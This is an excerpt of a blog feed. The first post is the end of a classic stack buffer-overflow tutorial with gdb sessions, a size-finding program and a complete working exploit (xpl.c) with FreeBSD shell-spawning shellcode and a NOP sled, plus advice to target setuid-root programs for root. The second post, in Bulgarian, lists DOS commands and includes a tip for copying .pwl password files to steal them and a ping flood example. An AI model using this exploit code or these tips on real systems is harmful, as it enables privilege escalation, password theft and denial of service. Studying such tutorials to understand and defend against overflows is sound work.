&quot;show copying&quot; to see the conditions.&lt;br /&gt; There is absolutely no warranty for GDB.  Type &quot;show warranty&quot; for &lt;br /&gt; details.&lt;br /&gt; This GDB was configured as &quot;i386-unknown-freebsd&quot;...&lt;br /&gt; (no debugging symbols found)...&lt;br /&gt; (gdb) run `perl -e &#39;printf &quot;A&quot;x600&#39;`&lt;br /&gt; Starting program: /sig-hup/code/b0f/vuln `perl -e &#39;printf &quot;A&quot;x600&#39;`&lt;br /&gt; (no debugging symbols found)...(no debugging symbols found)...&lt;br /&gt; Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt; 0x41414141 in ?? ()&lt;br /&gt; (gdb) info registers&lt;br /&gt; eax            0xbfbff79c       -1077938276&lt;br /&gt; ecx            0xbfbff9f4       -1077937676&lt;br /&gt; edx            0xbfbffd37       -1077936841&lt;br /&gt; ebx            0x2      2&lt;br /&gt; esp            0xbfbff9a4       0xbfbff9a4&lt;br /&gt; ebp            0x41414141       0x41414141&lt;br /&gt; esi            0xbfbff9f0       -1077937680&lt;br /&gt; edi            0xbfbff9fc       -1077937668&lt;br /&gt; eip            0x41414141       0x41414141&lt;br /&gt; eflags         0x10282  66178&lt;br /&gt; cs             0x1f     31&lt;br /&gt; ss             0x2f     47&lt;br /&gt; ds             0x2f     47&lt;br /&gt; es             0x2f     47&lt;br /&gt; fs             0x2f     47&lt;br /&gt; gs             0x2f     47&lt;br /&gt; (gdb)&lt;br /&gt;&lt;br /&gt;   As you can see in the example above, we execute ./vuln again inside gdb&lt;br /&gt;to see what went wrong, and by doing &quot;info registers&quot; or &quot;i r&quot;, we see the&lt;br /&gt;content of the registers when the segmentation fault happened. Notice that&lt;br /&gt;first the base pointer (ebp) is overwritten with 0x41&#39;s, and then the&lt;br /&gt;instrution pointer (eip) with the same data. Now we want to put exactly&lt;br /&gt;four bytes into %eip, forming the address that will point back to the&lt;br /&gt;beginning of our buffer where the code we wish to execute is located, but&lt;br /&gt;to do this we must first find out how big our overflow buffer needs to be.  &lt;br /&gt;We will use the next code to try and find out:&lt;br /&gt;&lt;br /&gt;getsize.c:&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;#define DEFAULT_SIZE 100&lt;br /&gt;&lt;br /&gt;main(int argc, char *argv[]){&lt;br /&gt;   int bsize,i;&lt;br /&gt;   char *buff;&lt;br /&gt;&lt;br /&gt;   bsize = DEFAULT_SIZE;&lt;br /&gt;&lt;br /&gt;   if (argc&gt;1) bsize = atoi(argv[1]);&lt;br /&gt;   if (!(buff=malloc(bsize))) { printf(&quot;malloc() err.\n&quot;);return(1);}&lt;br /&gt;&lt;br /&gt;   for(i=0;i&lt;bsize-4;i++) buff[i] = 0x69;&lt;br /&gt;   for(i=bsize-4;i&lt;=bsize;i++) buff[i] = 0x68;&lt;br /&gt;&lt;br /&gt;   memcpy(buff, &quot;EGG=&quot;, 4);&lt;br /&gt;   putenv(buff);&lt;br /&gt;&lt;br /&gt;   system(&quot;/bin/sh&quot;);&lt;br /&gt;}&lt;br /&gt;  &lt;br /&gt;   What we do above is giving ./getsize as an argument a buffer size for&lt;br /&gt;testing, if no argument is given, it takes the default buffer size set:  &lt;br /&gt;DEFAULT_SIZE, which is 100 bytes. Then we fill the buffer with 0x69 (sex&lt;br /&gt;number :)) which is &#39;i&#39;, and the last four bytes are filled with 0x68&lt;br /&gt;which is &#39;h&#39;. We wanna get a buffer size that will segfault our code and&lt;br /&gt;get us everything with 0x69, including %ebp, and 0x68 into %eip only (the&lt;br /&gt;whole four bytes). For easier work i used putenv() to export the testing&lt;br /&gt;buffer into an environment called EGG, then it spawns a shell so we can&lt;br /&gt;use the environment and not loose it. Now let&#39;s try and guess the correct&lt;br /&gt;size:&lt;br /&gt;&lt;br /&gt; # gcc -o getsize getsize.c&lt;br /&gt; getsize.c: In function `main&#39;:&lt;br /&gt; getsize.c:11: warning: assignment makes pointer from integer without a cast&lt;br /&gt; # ./getsize 600&lt;br /&gt; # ./vuln $EGG&lt;br /&gt; Segmentation fault (core dumped)&lt;br /&gt; # gdb vuln&lt;br /&gt; GNU gdb 4.18&lt;br /&gt; Copyright 1998 Free Software Foundation, Inc.&lt;br /&gt; GDB is free software, covered by the GNU General Public License, and you are&lt;br /&gt; welcome to change it and/or distribute copies of it under certain conditions.&lt;br /&gt; Type &quot;show copying&quot; to see the conditions.&lt;br /&gt; There is absolutely no warranty for GDB.  Type &quot;show warranty&quot; for details.&lt;br /&gt; This GDB was configured as &quot;i386-unknown-freebsd&quot;...&lt;br /&gt; (no debugging symbols found)...&lt;br /&gt; (gdb) run $EGG&lt;br /&gt; Starting program: /sig-hup/code/b0f/vuln $EGG&lt;br /&gt; (no debugging symbols found)...(no debugging symbols found)...&lt;br /&gt; Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt; 0x69696969 in ?? ()&lt;br /&gt; (gdb) i r&lt;br /&gt; eax            0xbfbff540       -1077938880&lt;br /&gt; ecx            0xbfbff790       -1077938288&lt;br /&gt; edx            0xbfbffad7       -1077937449&lt;br /&gt; ebx            0x2      2&lt;br /&gt; esp            0xbfbff748       0xbfbff748&lt;br /&gt; ebp            0x69696969       0x69696969&lt;br /&gt; esi            0xbfbff794       -1077938284&lt;br /&gt; edi            0xbfbff7a0       -1077938272&lt;br /&gt; eip            0x69696969       0x69696969&lt;br /&gt; eflags         0x10282  66178&lt;br /&gt; cs             0x1f     31&lt;br /&gt; ss             0x2f     47&lt;br /&gt; ds             0x2f     47&lt;br /&gt; es             0x2f     47&lt;br /&gt; fs             0x2f     47&lt;br /&gt; gs             0x2f     47&lt;br /&gt; (gdb) q&lt;br /&gt; The program is running.  Exit anyway? (y or n) y&lt;br /&gt; # exit&lt;br /&gt; #&lt;br /&gt;&lt;br /&gt;   The buffer size of 600 bytes that we used seems to be too big because&lt;br /&gt;it overwrites %eip with 0x69, which is the &#39;i&#39;, and we need only 0x68&lt;br /&gt;inside %eip, and 0x69 inside %ebp. So let&#39;s try a smaller size, like, uhm,&lt;br /&gt;520?&lt;br /&gt; &lt;br /&gt; # ./getsize 520&lt;br /&gt; # ./vuln $EGG&lt;br /&gt; Segmentation fault - core dumped&lt;br /&gt; # gdb vuln&lt;br /&gt; GNU gdb 4.18&lt;br /&gt; Copyright 1998 Free Software Foundation, Inc.&lt;br /&gt; GDB is free software, covered by the GNU General Public License, and you are &lt;br /&gt; welcome to change it and/or distribute copies of it under certain conditions.&lt;br /&gt; Type &quot;show copying&quot; to see the conditions.&lt;br /&gt; There is absolutely no warranty for GDB.  Type &quot;show warranty&quot; for &lt;br /&gt; details.&lt;br /&gt; This GDB was configured as &quot;i386-unknown-freebsd&quot;...&lt;br /&gt; (no debugging symbols found)...&lt;br /&gt; (gdb) run $EGG&lt;br /&gt; Starting program: /sig-hup/code/b0f/vuln $EGG&lt;br /&gt; (no debugging symbols found)...(no debugging symbols found)...&lt;br /&gt; Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt; 0x8040068 in ?? ()&lt;br /&gt; (gdb) i r&lt;br /&gt; eax            0xbfbff5e0       -1077938720&lt;br /&gt; ecx            0xbfbff7e0       -1077938208&lt;br /&gt; edx            0xbfbffb27       -1077937369&lt;br /&gt; ebx            0x2      2&lt;br /&gt; esp            0xbfbff7e8       0xbfbff7e8&lt;br /&gt; ebp            0x68686868       0x68686868&lt;br /&gt; esi            0xbfbff834       -1077938124&lt;br /&gt; edi            0xbfbff840       -1077938112&lt;br /&gt; eip            0x8040068        0x8040068&lt;br /&gt; eflags         0x10286  66182&lt;br /&gt; cs             0x1f     31&lt;br /&gt; ss             0x2f     47&lt;br /&gt; ds             0x2f     47&lt;br /&gt; es             0x2f     47&lt;br /&gt; fs             0x2f     47&lt;br /&gt; gs             0x2f     47&lt;br /&gt; (gdb) q&lt;br /&gt; The program is running.  Exit anyway? (y or n) y&lt;br /&gt; # exit&lt;br /&gt; #&lt;br /&gt;&lt;br /&gt;   Woah! The end of the buffer, the 0x68686868 (4 &#39;h&#39;-s) are inside %ebp,&lt;br /&gt;and %eip contains its original value. So what we oviously need to do is&lt;br /&gt;push the buffer further with 4 bytes, so that we&#39;ll get all the 4 0x68&#39;s&lt;br /&gt;inside %eip, the final buffer size being 524. Let&#39;s see if this works:&lt;br /&gt;&lt;br /&gt; # ./getsize 524&lt;br /&gt; # ./vuln $EGG&lt;br /&gt; Segmentation fault - core dumped&lt;br /&gt; # gdb vuln&lt;br /&gt; GNU gdb 4.18&lt;br /&gt; Copyright 1998 Free Software Foundation, Inc.&lt;br /&gt; GDB is free software, covered by the GNU General Public License, and you &lt;br /&gt; are&lt;br /&gt; welcome to change it and/or distribute copies of it under certain &lt;br /&gt; conditions.&lt;br /&gt; Type &quot;show copying&quot; to see the conditions.&lt;br /&gt; There is absolutely no warranty for GDB.  Type &quot;show warranty&quot; for &lt;br /&gt; details.&lt;br /&gt; This GDB was configured as &quot;i386-unknown-freebsd&quot;...&lt;br /&gt; (no debugging symbols found)...&lt;br /&gt; (gdb) run $EGG&lt;br /&gt; Starting program: /sig-hup/code/b0f/vuln $EGG&lt;br /&gt; (no debugging symbols found)...(no debugging symbols found)...&lt;br /&gt; Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt; 0x68686868 in ?? ()&lt;br /&gt; (gdb) i r&lt;br /&gt; eax            0xbfbff5d8       -1077938728&lt;br /&gt; ecx            0xbfbff7e0       -1077938208&lt;br /&gt; edx            0xbfbffb27       -1077937369&lt;br /&gt; ebx            0x2      2&lt;br /&gt; esp            0xbfbff7e0       0xbfbff7e0&lt;br /&gt; ebp            0x69696969       0x69696969&lt;br /&gt; esi            0xbfbff82c       -1077938132&lt;br /&gt; edi            0xbfbff838       -1077938120&lt;br /&gt; eip            0x68686868       0x68686868&lt;br /&gt; eflags         0x10282  66178&lt;br /&gt; cs             0x1f     31&lt;br /&gt; ss             0x2f     47&lt;br /&gt; ds             0x2f     47&lt;br /&gt; es             0x2f     47&lt;br /&gt; fs             0x2f     47&lt;br /&gt; gs             0x2f     47&lt;br /&gt; (gdb) q&lt;br /&gt; The program is running.  Exit anyway? (y or n) y&lt;br /&gt; # exit&lt;br /&gt; #&lt;br /&gt;&lt;br /&gt;   Bingo! We got all the 0x69&#39;s until exactly where the IP is, so now we&lt;br /&gt;know this is the size our overflow buffer needs. It might take you longer&lt;br /&gt;on other vulnerable programs to find the correct size, but if you wouldn&#39;t&lt;br /&gt;use this kinda methods like this code, trust me, it would be a lot more&lt;br /&gt;&quot;pain&quot;.&lt;br /&gt;&lt;br /&gt;   0x6. OFFSETS&lt;br /&gt;&lt;br /&gt;   So now we got the our next problem, and the last one (pheew), finding&lt;br /&gt;the current offset. Now we know that the stack in memory starts at the&lt;br /&gt;same address for every process (the stack, not the frame pointer, the&lt;br /&gt;frame pointer is different for each process). The stack bottom memory&lt;br /&gt;address is a high value like, let&#39;s say 0xFF, and the stack grows up, but&lt;br /&gt;to lower memory addresses, for example our stack pointer is a smaller&lt;br /&gt;value the 0xFF (if we are taking this memory address for the stack&lt;br /&gt;bottom). Stick with this. We are going to do the same as in getsize.c for&lt;br /&gt;the exploit program: generate the buffer, export it into an environment,&lt;br /&gt;then execute a shell so we can use our environment on the vulnerable&lt;br /&gt;program. Now, we start the exploit program, then inside the spawned shell&lt;br /&gt;we start the vulnerable program, ./vuln is going to make another frame&lt;br /&gt;pointer on top of our exploit program, and the shell. So what we need to&lt;br /&gt;guess is the memory address where are buffer will be located inside&lt;br /&gt;st[512] (remember?), and that will be the value that we will put inside&lt;br /&gt;%eip. To make this easier we&#39;ll use this function that returns the current&lt;br /&gt;stack pointer (the SP when we are inside the exploit program), and&lt;br /&gt;decrease a value (called offset) from it, resulting into the aproximate&lt;br /&gt;address of where st[512], and by this, our buffer, is located in memory.&lt;br /&gt;This easy function code will give us out the stack pointer for Linux and&lt;br /&gt;FreeBSD systems (other systems have different code).&lt;br /&gt;&lt;br /&gt;unsigned long get_esp() { &lt;br /&gt;__asm__(&quot;movl %esp, %eax&quot;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;   What every function returns is put into the EAX register, so what we do&lt;br /&gt;here is putting the stack pointer(ESP) inside EAX and the function returns&lt;br /&gt;it to us. Easy until now, right?&lt;br /&gt;&lt;br /&gt;   0x7. GENERATING THE BUFFER&lt;br /&gt;&lt;br /&gt;   Now let&#39;s try and make the exploit. I&#39;ll try and explain this as&lt;br /&gt;detailed as i can, but understanding won&#39;t be a problem if you got good&lt;br /&gt;knowledge of pointers and they&#39;re usage. This is the exploit code, that&lt;br /&gt;takes as a parameter the buffer size that we already know, and then an&lt;br /&gt;offset that we need to guess (i used the FreeBSD shellcode and CShell&lt;br /&gt;because i&#39;ve tested tested this one under FreeBSD, but you can modify&lt;br /&gt;that):&lt;br /&gt;&lt;br /&gt;xpl.c:&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;char freebsd[] =&lt;br /&gt;   &quot;\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76&quot;&lt;br /&gt;   &quot;\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b&quot;&lt;br /&gt;   &quot;\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff&quot;&lt;br /&gt;   &quot;\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff&quot;&lt;br /&gt;   &quot;\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02&quot;&lt;br /&gt;   &quot;\x02\x02\x02/bin/sh.-c.sh&quot;;&lt;br /&gt;&lt;br /&gt;#define DEFAULT_OFFSET 0&lt;br /&gt;#define DEFAULT_BUFFER_SIZE 524&lt;br /&gt;#define NOP 0x90&lt;br /&gt;&lt;br /&gt;unsigned long get_esp() {&lt;br /&gt;   __asm__(&quot;mov %esp,%eax&quot;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;main(int argc, char *argv[]) {&lt;br /&gt;   long *ret_addr, addr, offset;&lt;br /&gt;   char *nop_addr, *buff, *ptr;&lt;br /&gt;   unsigned int bsize, i;&lt;br /&gt;&lt;br /&gt;   bsize = DEFAULT_BUFFER_SIZE;&lt;br /&gt;   offset = DEFAULT_OFFSET;&lt;br /&gt;&lt;br /&gt;   if (argc&gt;1) bsize = atoi(argv[1]);&lt;br /&gt;   if (argc&gt;2) offset = atoi(argv[2]);&lt;br /&gt;&lt;br /&gt;   addr = get_esp() - offset;&lt;br /&gt;&lt;br /&gt;   if (!(buff=malloc(bsize))) {&lt;br /&gt;      printf(&quot;Not enough memory to allocate for buffer.\n&quot;);&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   ret_addr = (long *)buff;&lt;br /&gt;&lt;br /&gt;   for (i=0;i&lt;bsize;i+=4) *(ret_addr++) = addr;&lt;br /&gt;   for (i=0;i&lt;bsize/2;i++) buff[i] = NOP;&lt;br /&gt;&lt;br /&gt;   ptr = buff + ((bsize/2)-(strlen(freebsd)/2));&lt;br /&gt;   for (i=0;i&lt;strlen(freebsd);i++) *(ptr++) = freebsd[i];&lt;br /&gt;&lt;br /&gt;   memcpy(buff, &quot;BUF=&quot;, 4);&lt;br /&gt;   putenv(buff);&lt;br /&gt;&lt;br /&gt;   printf(&quot;Trying:\n\naddr: 0x%x\nbsize: %d bytes\n\n&quot;, addr, bsize);&lt;br /&gt;&lt;br /&gt;   system(&quot;/bin/csh&quot;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;   Now, i am going to explain this step by step (almost), starting from&lt;br /&gt;&quot;addr = get_esp() - offset&quot;, that calculates a memory address with the&lt;br /&gt;offset given from the current stack pointer, this being the address that&lt;br /&gt;we will use to try to exploit the program and spawn our shell. Now the&lt;br /&gt;buffer we used is char*, made of 1 byte/object, and we need to keep&lt;br /&gt;writing on 4 bytes on the buffer because that&#39;s how long a memory address&lt;br /&gt;is (remember the eip being 0x68686868?). So we&#39;ll use another pointer,&lt;br /&gt;ret_addr, and we&#39;ll make it point to our char buffer (1 byte), by casting&lt;br /&gt;it. Then inside the first for() we keep increasing ret_addr by one and&lt;br /&gt;putting addr (the buffer address we are assuming to be correct) inside&lt;br /&gt;buf. Notice that ret_addr is of type long, which is 4 bytes, and by&lt;br /&gt;increasing it with 1, we don&#39;t increase it to point further with 1 byte,&lt;br /&gt;we increase it to point further with one &quot;unit&quot;, which is 4 bytes in this&lt;br /&gt;case.&lt;br /&gt;   So we got our buffer filled with this address. Now we only have to&lt;br /&gt;insert the shellcode and a thing to make this all easier to &quot;guess&quot;.&lt;br /&gt;   We insert the NOP instruction (0x90) into half of the buffer.&lt;br /&gt;   The assembly NOP instruction means &quot;Null OPeration&quot;, and it tells the&lt;br /&gt;processor not to do anything. This instruction is usualy used for timing&lt;br /&gt;purposes. We put it into the first half of our buffer because it could&lt;br /&gt;take forever to guess the exact offset, and by that the exact memory&lt;br /&gt;address of where it is located. By using this NOP&#39;s, we don&#39;t have to&lt;br /&gt;guess the offset size exactly, it is enough for our exploit to point the&lt;br /&gt;Instruction Pointer between does NOP&#39;s which will execute the Null&lt;br /&gt;Operation 1 byte by one down towards our shellcode which is inserted later&lt;br /&gt;in the code into our buffer in the middle of it (those NOP&#39;s don&#39;t take&lt;br /&gt;long, you can hardly notice it), and when it get&#39;s to it, it executes the&lt;br /&gt;shellcode and we got a spawned shell. Now let&#39;s test our code and see what&lt;br /&gt;happens:&lt;br /&gt;&lt;br /&gt; localhost# gcc -o xpl xpl.c&lt;br /&gt; localhost# ./xpl&lt;br /&gt; Trying:&lt;br /&gt;&lt;br /&gt; addr: 0xbfbffbdc&lt;br /&gt; bsize: 524 bytes&lt;br /&gt; &lt;br /&gt; localhost# ./vuln $BUF&lt;br /&gt; # exit&lt;br /&gt; localhost# exit&lt;br /&gt; exit&lt;br /&gt; localhost#&lt;br /&gt;&lt;br /&gt;   Heheh, we didn&#39;t even need a different offset, and the exploit worked.  &lt;br /&gt;As you can see, it exports the BUF environment containing our generated&lt;br /&gt;buffer, and we run ./vuln and give BUF as a parameter to it, spawning us&lt;br /&gt;the shell.&lt;br /&gt;   I hope i didn&#39;t confuse you with all those exits :).&lt;br /&gt;&lt;br /&gt;   0x8. THE END&lt;br /&gt;&lt;br /&gt;   I was running these programs as root and i&#39;m not sure that you got the&lt;br /&gt;ideea. One thing i&#39;m sure of is that you are used to getting root when an&lt;br /&gt;exploit is used, well no! This one doesn&#39;t give you root. You must exploit&lt;br /&gt;a function that runs as uid 0 (root - setuid(0)), and let&#39;s you run it as&lt;br /&gt;a shell user, spawn you the shell, and that&#39;ll give root. Try finding this&lt;br /&gt;kinds of programs inside the Operating System&#39;s sources, etc. Mail me for&lt;br /&gt;questions or info at drunkk@sig-hup.net or ask me on IRC.&lt;br /&gt;&lt;br /&gt;Thanks to the following people that made this happen:&lt;br /&gt;&lt;br /&gt;bored - i wonder if i&#39;ll ever catch you being bored &lt;br /&gt;trappie - you started this shit (you know what i mean) &lt;br /&gt;RLoxley - you gave me the ideea for this article &lt;br /&gt;maloman - can&#39;t wait to get together, smoke some bud &lt;br /&gt;Bruno - read this again ;) &lt;br /&gt;humstrux - man, do you need help finding your way, are you lost? :/ &lt;br /&gt;xum - ;)&lt;br /&gt;c0balt - word up!&lt;br /&gt;Pericool - keep up the php werk and the webdesign&lt;br /&gt;#hackphreak - word up for everyone there &lt;br /&gt;#gcc - a very Big thank you for all that support me there&lt;br /&gt;&lt;br /&gt;This article can be found on these sites:&lt;br /&gt;&lt;br /&gt; 1) http://www.sig-hup.net/&lt;br /&gt; 2) http://www.hackphreak.org/&lt;br /&gt; 3) http://atronica.darktech.org/&lt;br /&gt;&lt;br /&gt;Recommended for more documentation:&lt;br /&gt;&lt;br /&gt; 1) http://code.box.sk/&lt;br /&gt; 2) http://www.hackphreak.org/&lt;br /&gt; 3) http://www.hert.org/&lt;br /&gt; 4) http://www.phrack.org/&lt;br /&gt;&lt;br /&gt;/* EOF */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/9070998368048797991/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/9070998368048797991' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/9070998368048797991'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/9070998368048797991'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/buffer-overflows-by-drunkk-0x1.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-8094043890070862429</id><published>2008-02-28T07:02:00.001-08:00</published><updated>2008-02-28T07:02:38.591-08:00</updated><title type='text'></title><content type='html'>ОСНОВНИ DOS КОМАНДИ &lt;br /&gt;&lt;br /&gt;HELP - помощ (може да ви много полезна за да видите опциите на командите), можете да използвате и бърз help като напишете &lt;командата/?&gt; по този начин ще получите бърза помощ за съответната команда. &lt;br /&gt;MD &lt;име на директория&gt; - създава дериктория. &lt;br /&gt;RMDIR &lt;име на директория&gt; - изтрива дериктория (само ако е празна). &lt;br /&gt;CD &lt;име на директория&gt; - влизаш в съответната директория. &lt;br /&gt;CD.. - излизаш от под директорията. &lt;br /&gt;CD\ - излизаш от всички директории в които си влязал. &lt;br /&gt;COPY &lt;име на фаил&gt; &lt;пътя до мястотото където искаш да го копираш&gt; - копира файлове (при MSDOS никъде няма да срешнете команда Paste - просто я няма). Командата COPY е много полезна за крадване на PWL файлове защото Вие предполагам занаете че този/тези фаил/ове се намират в директория WINDOWS, тогава пишете copy *.pwl a:\ - с това указвате да се копират всички файлове с разширение PWL на устройство &quot;А&quot;. С това си спестявате търсенето и пействането, а и става много по бързо прехвърлянето. &lt;br /&gt;DEL &lt;името и разширението на файла&gt; - изтрива файлове, а може да зададете командата и по този начин del *.* - така указвате да се изтрият всички файлове. &lt;br /&gt;DELTREE &lt;името на директорията&gt; - можете да изтривате пълни директории включително и всичките и поддиректории. &lt;br /&gt;FORMAT &lt;устройство&gt; - форматира зададеното устройство има много опции вижте ги сами (няма да ги обяснявам). &lt;br /&gt;FDISK - служи за разделяне на диска на дялове. (Partition Magic -разделя диска под Windows). &lt;br /&gt;SYS &lt;устройство&gt; - прехвърляне на системните файлове - задължително устройството трябва да е форматирано, или да е празно защото те се разполагат на точно определено място, ако има нещо на тяхното неможе да стане прехвърлянето. &lt;br /&gt;DIR - показва списък от файлове и директории (зависи къде си). &lt;br /&gt;CLS - изчиства екрана. &lt;br /&gt;SET - създава променливи за обкръжението и им присвоява стойности. &lt;br /&gt;TYPE - показва съдържанието на файла, но без възмойност за редактиране. &lt;br /&gt;ATTRIB - скрива или показва скрити файлове зависи от опцията. &lt;br /&gt;EDIT - стартира редактор за цял екран. &lt;br /&gt;MEM - показва информация за разпределението в RAM. &lt;br /&gt;MIRROR - предпазва диска от неволно форматиране. Съхранява информация за изтрити файлове. &lt;br /&gt;VER - показва номера на текущата версия на DOS. &lt;br /&gt;TREE - показва структурата на дървото на поддиректориите, на дадено устройство. &lt;br /&gt;UNDELETE - възтановява случайно изтрити файлове (е ако не сте расетнали компютъра де). &lt;br /&gt;UNFORMAT - възтановява файлове, изтрити при случайно форматиране на диска. &lt;br /&gt;SETVER - указва на DOS да присвои на приложението различен номер на версия. &lt;br /&gt;SUBST - замества буквеното означенение на устройството с път за достъп до поддиректория. Буквените означения, използвани по този начин се наричат виртуални драйвери. &lt;br /&gt;FASTOPEN - увеличаване бързодействието на диска. &lt;br /&gt;SHARE - поддържа съвместно използване на файлове и тяхното заключване. &lt;br /&gt;XCOPY - копира избирателно файлове. &lt;br /&gt;DISKCOMP - сравнява садържанието на две дискети писта по писта, отчитайки кои писти не са идентични. &lt;br /&gt;CHKDSK - анмализира, диагностицира и коригира (по-избор) често срещани грешки на твърдия диск и извежда информация от FAT за диска. &lt;br /&gt;BREAK - определя дали DOS ще проверява за натиснати от потребителя клавиши CTRL+C (които прекъсват повечето команди на DOS). &lt;br /&gt;TIME - показва сиистемното време и позволява промени в него (часовника). &lt;br /&gt;DATE - показва или установява системноата дата. &lt;br /&gt;PROMPT - променя промпта на DOS. Изпраща кодове ESCAPE към ANSI.SYS (там където виждате &quot;C:\&quot; може примерно да слижите датата, часът и др. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DOS КОМАНДИ ЗА INTERNET &lt;br /&gt;&lt;br /&gt;1. Ping - под ping се разбира изпращането на Echo Request до друг компютър в мрежата, за да се разбере дали тодй съществува. Щом другия компютър получи такъв пакет, той е длъжен да отговори на подателия му. С тази цел в DOS е създадена командата PING. Нейният най - опростен формат е: (параметрите в квадратно скоби не са задължителни) &lt;br /&gt;PING [-t] [-n брой] [-l големина] [-i време на живот] [-w милисекунди] адрес &lt;br /&gt;Параметрите имат следните значения: &lt;br /&gt;-t - ако е споменат ще се пращат безбройно много пакети докато не бъдът спрени с Crtl+C &lt;br /&gt;-n - това указва колко пакета да се пратят (по подразбиране е 4) &lt;br /&gt;-l - указва големината на пакета (по подразбиране - 32 байта) &lt;br /&gt;-i - тука моджете да кажете през колко рутера или шлиуза максимално да може да мине вашия пакет &lt;br /&gt;-w - колко милисекунди да се чака отговор от всеки пратен пакет &lt;br /&gt;Ако програмата ви даде съобщение &quot;Requested Timed Out&quot;, това означава че или този адрес не съществува или пакета не се е върнал (за по-сигурно пращайте по повече пакети и задайте по-голиам период на изчакване за всеки) &lt;br /&gt;Пример: &lt;br /&gt;PING -n 10 -w 10000 212.50.21.123 - това ще прати 10 пакета до 212.50.21.123 като всеки ще бъде изчакан 10 секунди &lt;br /&gt;PING -t -l 5000 212.50.21.123 - в този пример се пращат безкрайно много пакети с големина 5Кb с цел &quot;наводняване&quot; на връзката &lt;br /&gt;След като изпйлните командата PING ще получите нещо от сорта: &lt;br /&gt;Pinging 212.50.21.123 with 32 bytes of data: &lt;br /&gt;Reply from 212.50.21.123: bytes=32 time=1010ms TTL=126 &lt;br /&gt;Reply from 212.50.21.123: bytes=32 time=982ms TTL=126 &lt;br /&gt;Reply from 212.50.21.123: bytes=32 time=1256ms TTL=126 &lt;br /&gt;Reply from 212.50.21.123: bytes=32 time=817ms TTL=126 &lt;br /&gt;Ping statistics for 212.50.21.123: &lt;br /&gt;&lt;br /&gt;Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), &lt;br /&gt;Approximate round trip times in milli-seconds: &lt;br /&gt;Minimum = 817 ms, Maximum = 1256 ms, Average = 1016 ms &lt;br /&gt;Както видждате най-долу има статистика за това колко пакета са били пратени, колко върнати и средното време, за което са го направили. &lt;br /&gt;2. Trace - тракинг се нарича проследяването на пътя до даден компютър (през кои адреси минава). Това може да се направи по следния начин в DOS: &lt;br /&gt;TRACERT [-h OPITI] [-w MILISEKUNDI] ADRES &lt;br /&gt;-h - брой опити за търсене на отделните адреси (по подразбиране 3) &lt;br /&gt;-w - времто за чакане отговор на пакета &lt;br /&gt;3. Netstat - Състояние на TCP/IP това е програма за показване на текущото състояние на TCP/IP, тоест за извеждане на информация за това кои портове са отворени, на кои има осъществена връзка и т.н. &lt;br /&gt;Няма да ви обяснявам параметрите и. Просто я използвайте по следния начин: &lt;br /&gt;netstat -a &lt;br /&gt;това ще покаже цялостна информация относно TCP/IP &lt;br /&gt;При не съществуваща Интернет връзка ще видите: &lt;br /&gt;Proto Local Address Foreign Address State &lt;br /&gt;Proto - това е протоколът, с който е осъществена връзката &lt;br /&gt;Local Address показва на кой порт е свързана вашата машина &lt;br /&gt;Foreign Address - портът на отсрещната &lt;br /&gt;State - показва състоянието на връзката (в случайя портовете чакат за Connection Request) &lt;br /&gt;NETSTAT е удобно средство за откриване на троянци при положение че знаете на кой порт работят. Да кажем че NetBus изплзва локален порт 12345 следователно ако състоянието на този порт е Listen явно имате зареден троянец (освен ако не ползувате защитна програма Firewall) &lt;br /&gt;4. FTP - клиент за File Transfer Protocol Serveri &lt;br /&gt;Чрез FTP.EXE можете да осъществите връзка с FTP компютър. Това става чрез: &lt;br /&gt;&lt;br /&gt;FTP ADDRESS &lt;br /&gt;&lt;br /&gt;Например: FTP 212.50.21.123 &lt;br /&gt;&lt;br /&gt;Ако нямате определен account в отсрещната машина пробвайте да се свържете с UserName: anonymous и parola: вашия e-mail &lt;br /&gt;След това най - използуваната комада е: HELP</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/8094043890070862429/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/8094043890070862429' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/8094043890070862429'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/8094043890070862429'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/dos-help-help.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 